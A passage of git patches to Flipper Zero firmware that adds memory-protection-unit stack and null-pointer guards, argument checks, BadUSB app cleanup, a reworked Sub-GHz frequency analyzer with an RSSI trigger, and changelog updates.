rpc_ctx = 0; if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { diff --git a/applications/power/power_service/power.c b/applications/power/power_service/power.c index ac68bfd7d..9036ae1ce 100644 --- a/applications/power/power_service/power.c +++ b/applications/power/power_service/power.c @@ -200,7 +200,7 @@ static void power_check_battery_level_change(Power* power) { } int32_t power_srv(void* p) { - (void)p; + UNUSED(p); Power* power = power_alloc(); power_update_info(power); furi_record_create(RECORD_POWER, power); diff --git a/applications/power/power_settings_app/power_settings_app.c b/applications/power/power_settings_app/power_settings_app.c index 92c63704c..b01f32f75 100644 --- a/applications/power/power_settings_app/power_settings_app.c +++ b/applications/power/power_settings_app/power_settings_app.c @@ -76,7 +76,7 @@ void power_settings_app_free(PowerSettingsApp* app) { int32_t power_settings_app(void* p) { uint32_t first_scene = PowerSettingsAppSceneStart; - if(p && !strcmp(p, "off")) { + if(p && strlen(p) && !strcmp(p, "off")) { first_scene = PowerSettingsAppScenePowerOff; } PowerSettingsApp* app = power_settings_app_alloc(first_scene); diff --git a/applications/rpc/rpc_system.c b/applications/rpc/rpc_system.c index 38a288285..0538aa64d 100644 --- a/applications/rpc/rpc_system.c +++ b/applications/rpc/rpc_system.c @@ -78,6 +78,8 @@ static void rpc_system_system_device_info_callback( furi_assert(value); RpcSystemContext* ctx = context; + furi_assert(key); + furi_assert(value); char* str_key = strdup(key); char* str_value = strdup(value); @@ -232,6 +234,8 @@ static void rpc_system_system_power_info_callback( furi_assert(value); RpcSystemContext* ctx = context; + furi_assert(key); + furi_assert(value); char* str_key = strdup(key); char* str_value = strdup(value); diff --git a/applications/subghz/scenes/subghz_scene_save_name.c b/applications/subghz/scenes/subghz_scene_save_name.c index 488ebeb28..662ff3d69 100644 --- a/applications/subghz/scenes/subghz_scene_save_name.c +++ b/applications/subghz/scenes/subghz_scene_save_name.c @@ -59,8 +59,8 @@ void subghz_scene_save_name_on_enter(void* context) { MAX_TEXT_INPUT_LEN, // buffer size dev_name_empty); - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(subghz->file_path), SUBGHZ_APP_EXTENSION, NULL); + ValidatorIsFile* validator_is_file = + validator_is_file_alloc_init(string_get_cstr(subghz->file_path), SUBGHZ_APP_EXTENSION, ""); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); string_clear(file_name); diff --git a/applications/subghz/subghz.c b/applications/subghz/subghz.c index a84367625..851035083 100644 --- a/applications/subghz/subghz.c +++ b/applications/subghz/subghz.c @@ -331,7 +331,7 @@ int32_t subghz_app(void* p) { subghz_environment_load_keystore( subghz->txrx->environment, EXT_PATH("subghz/assets/keeloq_mfcodes_user")); // Check argument and run corresponding scene - if(p) { + if(p && strlen(p)) { uint32_t rpc_ctx = 0; if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { subghz->rpc_ctx = (void*)rpc_ctx; diff --git a/applications/unit_tests/rpc/rpc_test.c b/applications/unit_tests/rpc/rpc_test.c index 5a172d073..d31311af6 100644 --- a/applications/unit_tests/rpc/rpc_test.c +++ b/applications/unit_tests/rpc/rpc_test.c @@ -421,10 +421,12 @@ static void mu_check(result_msg_file->size == expected_msg_file->size); mu_check(result_msg_file->type == expected_msg_file->type); - mu_check(!result_msg_file->data == !expected_msg_file->data); - mu_check(result_msg_file->data->size == expected_msg_file->data->size); - for(int i = 0; i < result_msg_file->data->size; ++i) { - mu_check(result_msg_file->data->bytes[i] == expected_msg_file->data->bytes[i]); + if(result_msg_file->data && result_msg_file->type != PB_Storage_File_FileType_DIR) { + mu_check(!result_msg_file->data == !expected_msg_file->data); // Zlo: WTF??? + mu_check(result_msg_file->data->size == expected_msg_file->data->size); + for(int i = 0; i < result_msg_file->data->size; ++i) { + mu_check(result_msg_file->data->bytes[i] == expected_msg_file->data->bytes[i]); + } } } @@ -1347,8 +1349,7 @@ static void test_rpc_storage_rename_run( } MU_TEST(test_storage_rename) { - test_rpc_storage_rename_run( - NULL, NULL, ++command_id, PB_CommandStatus_ERROR_STORAGE_INVALID_NAME); + test_rpc_storage_rename_run("", "", ++command_id, PB_CommandStatus_ERROR_STORAGE_INVALID_NAME); furi_check(!test_is_exists(TEST_DIR "empty.txt")); test_create_file(TEST_DIR "empty.txt", 0); diff --git a/applications/updater/updater.c b/applications/updater/updater.c index daba9eafd..e9bedc72e 100644 --- a/applications/updater/updater.c +++ b/applications/updater/updater.c @@ -34,7 +34,7 @@ static void Updater* updater_alloc(const char* arg) { Updater* updater = malloc(sizeof(Updater)); - if(arg) { + if(arg && strlen(arg)) { string_init_set_str(updater->startup_arg, arg); string_replace_str(updater->startup_arg, ANY_PATH(""), EXT_PATH("")); } else { diff --git a/firmware/targets/f7/Inc/FreeRTOSConfig.h b/firmware/targets/f7/Inc/FreeRTOSConfig.h index 4f9d1fcf9..f54d774ca 100644 --- a/firmware/targets/f7/Inc/FreeRTOSConfig.h +++ b/firmware/targets/f7/Inc/FreeRTOSConfig.h @@ -32,7 +32,7 @@ extern uint32_t SystemCoreClock; #define configUSE_16_BIT_TICKS 0 #define configUSE_MUTEXES 1 #define configQUEUE_REGISTRY_SIZE 0 -#define configCHECK_FOR_STACK_OVERFLOW 2 +#define configCHECK_FOR_STACK_OVERFLOW 0 #define configUSE_RECURSIVE_MUTEXES 1 #define configUSE_COUNTING_SEMAPHORES 1 #define configENABLE_BACKWARD_COMPATIBILITY 0 @@ -145,3 +145,7 @@ standard names. */ #define USE_CUSTOM_SYSTICK_HANDLER_IMPLEMENTATION 1 #define configOVERRIDE_DEFAULT_TICK_CONFIGURATION \ 1 /* required only for Keil but does not hurt otherwise */ + +#define traceTASK_SWITCHED_IN() \ + extern void furi_hal_mpu_set_stack_protection(uint32_t* stack); \ + furi_hal_mpu_set_stack_protection((uint32_t*)pxCurrentTCB->pxStack) diff --git a/firmware/targets/f7/furi_hal/furi_hal.c b/firmware/targets/f7/furi_hal/furi_hal.c index 0cef33ddf..23f409736 100644 --- a/firmware/targets/f7/furi_hal/furi_hal.c +++ b/firmware/targets/f7/furi_hal/furi_hal.c @@ -1,4 +1,5 @@ #include +#include #include @@ -35,6 +36,7 @@ void furi_hal_deinit_early() { } void furi_hal_init() { + furi_hal_mpu_init(); furi_hal_clock_init(); furi_hal_console_init(); furi_hal_rtc_init(); @@ -80,17 +82,6 @@ void furi_hal_init() { // FatFS driver initialization MX_FATFS_Init(); FURI_LOG_I(TAG, "FATFS OK"); - - // Partial null pointer dereference protection - LL_MPU_Disable(); - LL_MPU_ConfigRegion( - LL_MPU_REGION_NUMBER0, - 0x00, - 0x0, - LL_MPU_REGION_SIZE_1MB | LL_MPU_REGION_PRIV_RO_URO | LL_MPU_ACCESS_BUFFERABLE | - LL_MPU_ACCESS_CACHEABLE | LL_MPU_ACCESS_SHAREABLE | LL_MPU_TEX_LEVEL1 | - LL_MPU_INSTRUCTION_ACCESS_ENABLE); - LL_MPU_Enable(LL_MPU_CTRL_PRIVILEGED_DEFAULT); } void furi_hal_switch(void* address) { diff --git a/firmware/targets/f7/furi_hal/furi_hal_interrupt.c b/firmware/targets/f7/furi_hal/furi_hal_interrupt.c index fa595921a..038ae9489 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_interrupt.c +++ b/firmware/targets/f7/furi_hal/furi_hal_interrupt.c @@ -6,6 +6,7 @@ #include #include #include +#include #define TAG "FuriHalInterrupt" @@ -95,6 +96,10 @@ void furi_hal_interrupt_init() { LL_SYSCFG_DisableIT_FPU_IDC(); LL_SYSCFG_DisableIT_FPU_IXC(); + LL_HANDLER_EnableFault(LL_HANDLER_FAULT_USG); + LL_HANDLER_EnableFault(LL_HANDLER_FAULT_BUS); + LL_HANDLER_EnableFault(LL_HANDLER_FAULT_MEM); + FURI_LOG_I(TAG, "Init OK"); } @@ -241,6 +246,20 @@ void HardFault_Handler() { } void MemManage_Handler() { + if(FURI_BIT(SCB->CFSR, SCB_CFSR_MMARVALID_Pos)) { + uint32_t memfault_address = SCB->MMFAR; + if(memfault_address < (1024 * 1024)) { + // from 0x00 to 1MB, see FuriHalMpuRegionNULL + furi_crash("NULL pointer dereference"); + } else { + // write or read of MPU region 1 (FuriHalMpuRegionStack) + furi_crash("MPU fault, possibly stack overflow"); + } + } else if(FURI_BIT(SCB->CFSR, SCB_CFSR_MSTKERR_Pos)) { + // push to stack on MPU region 1 (FuriHalMpuRegionStack) + furi_crash("MemManage fault, possibly stack overflow"); + } + furi_crash("MemManage"); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_mpu.c b/firmware/targets/f7/furi_hal/furi_hal_mpu.c new file mode 100644 index 000000000..ea6cd55be --- /dev/null +++ b/firmware/targets/f7/furi_hal/furi_hal_mpu.c @@ -0,0 +1,66 @@ +#include +#include + +#define FURI_HAL_MPU_ATTRIBUTES \ + (LL_MPU_ACCESS_BUFFERABLE | LL_MPU_ACCESS_CACHEABLE | LL_MPU_ACCESS_SHAREABLE | \ + LL_MPU_TEX_LEVEL1 | LL_MPU_INSTRUCTION_ACCESS_ENABLE) + +#define FURI_HAL_MPU_STACK_PROTECT_REGION FuriHalMPURegionSize32B + +void furi_hal_mpu_init() { + furi_hal_mpu_enable(); + + // NULL pointer dereference protection + furi_hal_mpu_protect_no_access(FuriHalMpuRegionNULL, 0x00, FuriHalMPURegionSize1MB); +} + +void furi_hal_mpu_enable() { + LL_MPU_Enable(LL_MPU_CTRL_PRIVILEGED_DEFAULT); +} + +void furi_hal_mpu_disable() { + LL_MPU_Disable(); +} + +void furi_hal_mpu_protect_no_access( + FuriHalMpuRegion region, + uint32_t address, + FuriHalMPURegionSize size) { + uint32_t size_ll = size; + size_ll = size_ll << MPU_RASR_SIZE_Pos; + + furi_hal_mpu_disable(); + LL_MPU_ConfigRegion( + region, 0x00, address, FURI_HAL_MPU_ATTRIBUTES | LL_MPU_REGION_NO_ACCESS | size_ll); + furi_hal_mpu_enable(); +} + +void furi_hal_mpu_protect_read_only( + FuriHalMpuRegion region, + uint32_t address, + FuriHalMPURegionSize size) { + uint32_t size_ll = size; + size_ll = size_ll << MPU_RASR_SIZE_Pos; + + furi_hal_mpu_disable(); + LL_MPU_ConfigRegion( + region, 0x00, address, FURI_HAL_MPU_ATTRIBUTES | LL_MPU_REGION_PRIV_RO_URO | size_ll); + furi_hal_mpu_enable(); +} + +void furi_hal_mpu_protect_disable(FuriHalMpuRegion region) { + furi_hal_mpu_disable(); + LL_MPU_DisableRegion(region); + furi_hal_mpu_enable(); +} + +void furi_hal_mpu_set_stack_protection(uint32_t* stack) { + // Protection area address must be aligned to region size + uint32_t stack_ptr = (uint32_t)stack; + uint32_t mask = ((1 << (FURI_HAL_MPU_STACK_PROTECT_REGION + 2)) - 1); + stack_ptr &= ~mask; + if(stack_ptr < (uint32_t)stack) stack_ptr += (mask + 1); + + furi_hal_mpu_protect_read_only( + FuriHalMpuRegionStack, stack_ptr, FURI_HAL_MPU_STACK_PROTECT_REGION); +} \ No newline at end of file diff --git a/firmware/targets/furi_hal_include/furi_hal_mpu.h b/firmware/targets/furi_hal_include/furi_hal_mpu.h new file mode 100644 index 000000000..5dddadeb6 --- /dev/null +++ b/firmware/targets/furi_hal_include/furi_hal_mpu.h @@ -0,0 +1,86 @@ +/** + * @file furi_hal_light.h + * Light control HAL API + */ + +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + FuriHalMpuRegionNULL = 0x00, // region 0 used to protect null pointer dereference + FuriHalMpuRegionStack = 0x01, // region 1 used to protect stack + FuriHalMpuRegion2 = 0x02, + FuriHalMpuRegion3 = 0x03, + FuriHalMpuRegion4 = 0x04, + FuriHalMpuRegion5 = 0x05, + FuriHalMpuRegion6 = 0x06, + FuriHalMpuRegion7 = 0x07, +} FuriHalMpuRegion; + +typedef enum { + FuriHalMPURegionSize32B = 0x04U, + FuriHalMPURegionSize64B = 0x05U, + FuriHalMPURegionSize128B = 0x06U, + FuriHalMPURegionSize256B = 0x07U, + FuriHalMPURegionSize512B = 0x08U, + FuriHalMPURegionSize1KB = 0x09U, + FuriHalMPURegionSize2KB = 0x0AU, + FuriHalMPURegionSize4KB = 0x0BU, + FuriHalMPURegionSize8KB = 0x0CU, + FuriHalMPURegionSize16KB = 0x0DU, + FuriHalMPURegionSize32KB = 0x0EU, + FuriHalMPURegionSize64KB = 0x0FU, + FuriHalMPURegionSize128KB = 0x10U, + FuriHalMPURegionSize256KB = 0x11U, + FuriHalMPURegionSize512KB = 0x12U, + FuriHalMPURegionSize1MB = 0x13U, + FuriHalMPURegionSize2MB = 0x14U, + FuriHalMPURegionSize4MB = 0x15U, + FuriHalMPURegionSize8MB = 0x16U, + FuriHalMPURegionSize16MB = 0x17U, + FuriHalMPURegionSize32MB = 0x18U, + FuriHalMPURegionSize64MB = 0x19U, + FuriHalMPURegionSize128MB = 0x1AU, + FuriHalMPURegionSize256MB = 0x1BU, + FuriHalMPURegionSize512MB = 0x1CU, + FuriHalMPURegionSize1GB = 0x1DU, + FuriHalMPURegionSize2GB = 0x1EU, + FuriHalMPURegionSize4GB = 0x1FU, +} FuriHalMPURegionSize; + +/** + * @brief Initialize memory protection unit + */ +void furi_hal_mpu_init(); + +/** +* @brief Enable memory protection unit +*/ +void furi_hal_mpu_enable(); + +/** +* @brief Disable memory protection unit +*/ +void furi_hal_mpu_disable(); + +void furi_hal_mpu_protect_no_access( + FuriHalMpuRegion region, + uint32_t address, + FuriHalMPURegionSize size); + +void furi_hal_mpu_protect_read_only( + FuriHalMpuRegion region, + uint32_t address, + FuriHalMPURegionSize size); + +void furi_hal_mpu_protect_disable(FuriHalMpuRegion region); + +#ifdef __cplusplus +} +#endif diff --git a/furi/core/memmgr.c b/furi/core/memmgr.c index 01cf573eb..80f87b930 100644 --- a/furi/core/memmgr.c +++ b/furi/core/memmgr.c @@ -36,10 +36,8 @@ void* calloc(size_t count, size_t size) { } char* strdup(const char* s) { - const char* s_null = s; - if(s_null == NULL) { - return NULL; - } + // arg s marked as non-null, so we need hack to check for NULL + furi_check(((uint32_t)s << 2) != 0); size_t siz = strlen(s) + 1; char* y = pvPortMalloc(siz); diff --git a/furi/core/thread.c b/furi/core/thread.c index ec7aa75a5..044f83711 100644 --- a/furi/core/thread.c +++ b/furi/core/thread.c @@ -114,7 +114,7 @@ void furi_thread_set_name(FuriThread* thread, const char* name) { furi_assert(thread); furi_assert(thread->state == FuriThreadStateStopped); if(thread->name) free((void*)thread->name); - thread->name = strdup(name); + thread->name = name ? strdup(name) : NULL; } void furi_thread_set_stack_size(FuriThread* thread, size_t stack_size) { From ac1a53dbf80c694ab22b1e56b4e6b6a8eefe82e2 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 4 Aug 2022 22:30:44 +0300 Subject: [PATCH 440/461] fix badusb --- applications/bad_usb/bad_usb_app.c | 6 +++--- applications/bad_usb/bad_usb_app_i.h | 2 -- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/applications/bad_usb/bad_usb_app.c b/applications/bad_usb/bad_usb_app.c index 9fa824dc8..180d87959 100644 --- a/applications/bad_usb/bad_usb_app.c +++ b/applications/bad_usb/bad_usb_app.c @@ -104,7 +104,7 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { if(!string_empty_p(app->file_path)) { scene_manager_next_scene(app->scene_manager, BadUsbSceneWork); } else { - string_set_str(app->file_path, BAD_USB_APP_PATH_SCRIPT_FOLDER); + string_set_str(app->file_path, BAD_USB_APP_BASE_FOLDER); scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect); } } @@ -115,14 +115,14 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { void bad_usb_app_free(BadUsbApp* app) { furi_assert(app); - if(app->bad_usb_script) { + if(app->bad_usb_script != NULL) { bad_usb_script_close(app->bad_usb_script); app->bad_usb_script = NULL; } // Views view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewWork); - view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewConfigLayout); + bad_usb_free(app->bad_usb_view); // Custom Widget diff --git a/applications/bad_usb/bad_usb_app_i.h b/applications/bad_usb/bad_usb_app_i.h index e456aa20e..392411485 100644 --- a/applications/bad_usb/bad_usb_app_i.h +++ b/applications/bad_usb/bad_usb_app_i.h @@ -15,7 +15,6 @@ #include "views/bad_usb_view.h" #define BAD_USB_APP_BASE_FOLDER ANY_PATH("badusb") -#define BAD_USB_APP_PATH_SCRIPT_FOLDER BAD_USB_APP_BASE_FOLDER #define BAD_USB_APP_PATH_LAYOUT_FOLDER BAD_USB_APP_BASE_FOLDER "/layouts" #define BAD_USB_APP_SCRIPT_EXTENSION ".txt" #define BAD_USB_APP_LAYOUT_EXTENSION ".kl" @@ -45,5 +44,4 @@ typedef enum { BadUsbAppViewError, BadUsbAppViewWork, BadUsbAppViewConfig, - BadUsbAppViewConfigLayout, } BadUsbAppView; \ No newline at end of file From 53b5b7b9df2505c58bd8cd89283f5dfd9d2c0540 Mon Sep 17 00:00:00 2001 From: Alexey 'Cluster' Avdyukhin Date: Fri, 5 Aug 2022 13:53:27 +0400 Subject: [PATCH 441/461] New frequency analyzer --- .../subghz_frequency_analyzer_worker.c | 2 +- .../scenes/subghz_scene_frequency_analyzer.c | 12 +- .../subghz/views/subghz_frequency_analyzer.c | 215 +++++++++++++++--- 3 files changed, 187 insertions(+), 42 deletions(-) diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index 10c5a9ea8..0b91a1f4f 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -5,7 +5,7 @@ #define TAG "SubghzFrequencyAnalyzerWorker" -#define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -95.0f +#define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -97.0f static const uint8_t subghz_preset_ook_58khz[][2] = { {CC1101_MDMCFG4, 0b11110111}, // Rx BW filter is 58.035714kHz diff --git a/applications/subghz/scenes/subghz_scene_frequency_analyzer.c b/applications/subghz/scenes/subghz_scene_frequency_analyzer.c index b42acd4d2..f067f9859 100644 --- a/applications/subghz/scenes/subghz_scene_frequency_analyzer.c +++ b/applications/subghz/scenes/subghz_scene_frequency_analyzer.c @@ -17,16 +17,8 @@ void subghz_scene_frequency_analyzer_on_enter(void* context) { } bool subghz_scene_frequency_analyzer_on_event(void* context, SceneManagerEvent event) { - SubGhz* subghz = context; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubGhzCustomEventSceneAnalyzerLock) { - notification_message(subghz->notifications, &sequence_set_green_255); - return true; - } else if(event.event == SubGhzCustomEventSceneAnalyzerUnlock) { - notification_message(subghz->notifications, &sequence_reset_rgb); - return true; - } - } + UNUSED(context); + UNUSED(event); return false; } diff --git a/applications/subghz/views/subghz_frequency_analyzer.c b/applications/subghz/views/subghz_frequency_analyzer.c index d3f773159..ebc912d70 100644 --- a/applications/subghz/views/subghz_frequency_analyzer.c +++ b/applications/subghz/views/subghz_frequency_analyzer.c @@ -6,10 +6,31 @@ #include #include #include +#include #include "../helpers/subghz_frequency_analyzer_worker.h" #include +#define TAG "frequency_analyzer" + +#define RSSI_MIN -101 +#define RSSI_MAX -60 +#define RSSI_SCALE 2 +#define TRIGGER_STEP 1 +#define TRIGGER_MIN RSSI_MIN + RSSI_SCALE * 2 + +static const NotificationSequence sequence_hw_blink = { + &message_blink_start_10, + &message_blink_set_color_cyan, + &message_do_not_reset, + NULL, +}; + +static const NotificationSequence sequence_hw_blink_stop = { + &message_blink_stop, + NULL, +}; + typedef enum { SubGhzFrequencyAnalyzerStatusIDLE, } SubGhzFrequencyAnalyzerStatus; @@ -20,11 +41,19 @@ struct SubGhzFrequencyAnalyzer { SubGhzFrequencyAnalyzerCallback callback; void* context; bool locked; + float rssi_last; + uint32_t frequency_last; + float trigger; + bool triggered; + NotificationApp* notifications; }; typedef struct { uint32_t frequency; + uint32_t frequency_last; float rssi; + float rssi_last; + float trigger; } SubGhzFrequencyAnalyzerModel; void subghz_frequency_analyzer_set_callback( @@ -37,33 +66,64 @@ void subghz_frequency_analyzer_set_callback( subghz_frequency_analyzer->context = context; } -void subghz_frequency_analyzer_draw_rssi(Canvas* canvas, float rssi) { - uint8_t x = 48; - uint8_t y = 56; - uint8_t column_number = 0; +void subghz_frequency_analyzer_draw_rssi( + Canvas* canvas, + float rssi, + float rssi_last, + float trigger, + uint8_t x, + uint8_t y) { + // Current RSSI if(rssi) { - rssi = (rssi + 90) / 3; + rssi = (rssi - RSSI_MIN) / RSSI_SCALE; + if(rssi > 20) rssi = 20; + uint8_t column_number = 0; for(size_t i = 1; i < (uint8_t)rssi; i++) { - if(i > 20) break; if(i % 4) { column_number++; canvas_draw_box(canvas, x + 2 * i, y - column_number, 2, 4 + column_number); } } } + + // Last RSSI + if(rssi_last) { + int max_x = (int)((rssi_last - RSSI_MIN) / RSSI_SCALE - 1) * 2; + //if(!(max_x % 8)) max_x -= 2; + int max_h = (int)((rssi_last - RSSI_MIN) / RSSI_SCALE - 1) + 4; + max_h -= (max_h / 4) + 3; + if(max_x > 38) max_h = 38; + if(max_h > 19) max_h = 19; + if(max_x >= 0 && max_h > 0) { + canvas_draw_line(canvas, x + max_x + 1, y - max_h, x + max_x + 1, y + 3); + } + } + + // Trigger cursor + if(trigger >= RSSI_MIN + RSSI_SCALE * 2) { + trigger = (trigger - RSSI_MIN) / RSSI_SCALE; + uint8_t tr_x = x + 2 * trigger - 2; + canvas_draw_dot(canvas, tr_x, y + 4); + canvas_draw_line(canvas, tr_x - 1, y + 5, tr_x + 1, y + 5); + } + + canvas_draw_line(canvas, x + 2, y + 3, x + 39, y + 3); } void subghz_frequency_analyzer_draw(Canvas* canvas, SubGhzFrequencyAnalyzerModel* model) { char buffer[64]; + // Title canvas_set_color(canvas, ColorBlack); canvas_set_font(canvas, FontSecondary); canvas_draw_str(canvas, 20, 8, "Frequency Analyzer"); - canvas_draw_str(canvas, 28, 60, "RSSI"); - subghz_frequency_analyzer_draw_rssi(canvas, model->rssi); + // RSSI + canvas_draw_str(canvas, 33, 62, "RSSI"); + subghz_frequency_analyzer_draw_rssi( + canvas, model->rssi, model->rssi_last, model->trigger, 55, 58); - //Frequency + // Frequency canvas_set_font(canvas, FontBigNumbers); snprintf( buffer, @@ -71,29 +131,113 @@ void subghz_frequency_analyzer_draw(Canvas* canvas, SubGhzFrequencyAnalyzerModel "%03ld.%03ld", model->frequency / 1000000 % 1000, model->frequency / 1000 % 1000); - canvas_draw_str(canvas, 8, 35, buffer); - canvas_draw_icon(canvas, 96, 24, &I_MHz_25x11); + canvas_draw_str(canvas, 8, 30, buffer); + canvas_draw_icon(canvas, 96, 19, &I_MHz_25x11); + + // Last detected frequency + canvas_set_font(canvas, FontSecondary); + if(model->frequency_last) { + snprintf( + buffer, + sizeof(buffer), + "Last: %03ld.%03ld MHz", + model->frequency_last / 1000000 % 1000, + model->frequency_last / 1000 % 1000); + } else { + strcpy(buffer, "Last: ---.--- MHz"); + } + canvas_draw_str(canvas, 9, 42, buffer); + + // Buttons hint + elements_button_left(canvas, "T-"); + elements_button_right(canvas, "T+"); } bool subghz_frequency_analyzer_input(InputEvent* event, void* context) { furi_assert(context); + SubGhzFrequencyAnalyzer* instance = context; - if(event->key == InputKeyBack) { - return false; + bool need_redraw = false; + + if(event->key == InputKeyBack) return false; + + if(((event->type == InputTypePress) || (event->type == InputTypeRepeat)) && + ((event->key == InputKeyLeft) || (event->key == InputKeyRight))) { + // Trigger setup + switch(event->key) { + case InputKeyLeft: + instance->trigger -= TRIGGER_STEP; + if(instance->trigger < RSSI_MIN + RSSI_SCALE * 2) instance->trigger = TRIGGER_MIN; + break; + default: + case InputKeyRight: + if(instance->trigger < RSSI_MIN + RSSI_SCALE * 2) + instance->trigger = TRIGGER_MIN; + else + instance->trigger += TRIGGER_STEP; + if(instance->trigger > RSSI_MAX) instance->trigger = RSSI_MAX; + break; + } + if(instance->trigger > RSSI_MIN) + FURI_LOG_I(TAG, "trigger = %.1f", (double)instance->trigger); + else + FURI_LOG_I(TAG, "trigger disabled"); + need_redraw = true; + } + + if(need_redraw) { + SubGhzFrequencyAnalyzer* instance = context; + with_view_model( + instance->view, (SubGhzFrequencyAnalyzerModel * model) { + model->rssi_last = instance->rssi_last; + model->frequency_last = instance->frequency_last; + model->trigger = instance->trigger; + return true; + }); } return true; } +uint32_t round_int(uint32_t value, uint8_t n) { + // Round value + uint8_t on = n; + while(n--) { + uint8_t i = value % 10; + value /= 10; + if(i >= 5) value++; + } + while(on--) value *= 10; + return value; +} + void subghz_frequency_analyzer_pair_callback(void* context, uint32_t frequency, float rssi) { + furi_assert(context); SubGhzFrequencyAnalyzer* instance = context; + if((rssi == 0.f) && (instance->locked)) { - if(instance->callback) { - instance->callback(SubGhzCustomEventSceneAnalyzerUnlock, instance->context); - } - } else if((rssi != 0.f) && (!instance->locked)) { - if(instance->callback) { - instance->callback(SubGhzCustomEventSceneAnalyzerLock, instance->context); + notification_message(instance->notifications, &sequence_hw_blink); + instance->triggered = false; + } + + if((rssi != 0.f) && (frequency != 0)) { + // Threre is some signal + FURI_LOG_I(TAG, "rssi = %.2f, frequency = %d Hz", (double)rssi, frequency); + frequency = round_int(frequency, 3); // Round 299999990Hz to 300000000Hz + if((instance->trigger <= RSSI_MIN + RSSI_SCALE * 2) || (rssi >= instance->trigger)) { + if(!instance->triggered) { + // Triggered! + instance->triggered = true; + instance->rssi_last = rssi; + notification_message(instance->notifications, &sequence_hw_blink_stop); + notification_message(instance->notifications, &sequence_success); + FURI_LOG_D(TAG, "triggered"); + } + // Update values + if(rssi > instance->rssi_last) instance->rssi_last = rssi; + instance->frequency_last = frequency; + } else { + instance->triggered = false; } } @@ -101,7 +245,10 @@ void subghz_frequency_analyzer_pair_callback(void* context, uint32_t frequency, with_view_model( instance->view, (SubGhzFrequencyAnalyzerModel * model) { model->rssi = rssi; + model->rssi_last = instance->rssi_last; model->frequency = frequency; + model->frequency_last = instance->frequency_last; + model->trigger = instance->trigger; return true; }); } @@ -110,6 +257,10 @@ void subghz_frequency_analyzer_enter(void* context) { furi_assert(context); SubGhzFrequencyAnalyzer* instance = context; + // Notifications + instance->notifications = furi_record_open(RECORD_NOTIFICATION); + notification_message(instance->notifications, &sequence_hw_blink); + //Start worker instance->worker = subghz_frequency_analyzer_worker_alloc(instance->context); @@ -120,10 +271,18 @@ void subghz_frequency_analyzer_enter(void* context) { subghz_frequency_analyzer_worker_start(instance->worker); + instance->rssi_last = 0; + instance->frequency_last = 0; + instance->trigger = TRIGGER_MIN; + instance->triggered = false; + with_view_model( instance->view, (SubGhzFrequencyAnalyzerModel * model) { model->rssi = 0; + model->rssi_last = 0; model->frequency = 0; + model->frequency_last = 0; + model->trigger = instance->trigger; return true; }); } @@ -132,21 +291,21 @@ void subghz_frequency_analyzer_exit(void* context) { furi_assert(context); SubGhzFrequencyAnalyzer* instance = context; - //Stop worker + // Stop blinking + notification_message(instance->notifications, &sequence_hw_blink_stop); + + // Stop worker if(subghz_frequency_analyzer_worker_is_running(instance->worker)) { subghz_frequency_analyzer_worker_stop(instance->worker); } subghz_frequency_analyzer_worker_free(instance->worker); - with_view_model( - instance->view, (SubGhzFrequencyAnalyzerModel * model) { - model->rssi = 0; - return true; - }); + furi_record_close(RECORD_NOTIFICATION); } SubGhzFrequencyAnalyzer* subghz_frequency_analyzer_alloc() { SubGhzFrequencyAnalyzer* instance = malloc(sizeof(SubGhzFrequencyAnalyzer)); + furi_assert(instance); // View allocation and configuration instance->view = view_alloc(); @@ -158,12 +317,6 @@ SubGhzFrequencyAnalyzer* subghz_frequency_analyzer_alloc() { view_set_enter_callback(instance->view, subghz_frequency_analyzer_enter); view_set_exit_callback(instance->view, subghz_frequency_analyzer_exit); - with_view_model( - instance->view, (SubGhzFrequencyAnalyzerModel * model) { - model->rssi = 0; - return true; - }); - return instance; } From 29f2358f75dd4b480b8886e4a91014d296aaec91 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 5 Aug 2022 18:45:18 +0300 Subject: [PATCH 442/461] change value of poweroff button press timer see PR #42 --- applications/desktop/views/desktop_view_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/desktop/views/desktop_view_main.c b/applications/desktop/views/desktop_view_main.c index 2b1d61f41..a3aa63707 100644 --- a/applications/desktop/views/desktop_view_main.c +++ b/applications/desktop/views/desktop_view_main.c @@ -16,7 +16,7 @@ struct DesktopMainView { TimerHandle_t poweroff_timer; }; -#define DESKTOP_MAIN_VIEW_POWEROFF_TIMEOUT 5000 +#define DESKTOP_MAIN_VIEW_POWEROFF_TIMEOUT 3000 static void desktop_main_poweroff_timer_callback(TimerHandle_t timer) { DesktopMainView* main_view = pvTimerGetTimerID(timer); From 903e6ec203154053572e1aef21b74f60fcd96503 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 6 Aug 2022 00:29:53 +0300 Subject: [PATCH 443/461] update readme and changelog --- CHANGELOG.md | 3 +++ ReadMe.md | 31 ++++++++++++++++++------------- 2 files changed, 21 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 91d268c7f..03c098323 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,9 +1,12 @@ ### New changes +* New frequency analyzer - [(by ClusterM)](https://github.com/ClusterM) - see PR #43 for details * BadUSB keyboard layouts - now its possible to load keyboard layouts from microSD - [(by rien > 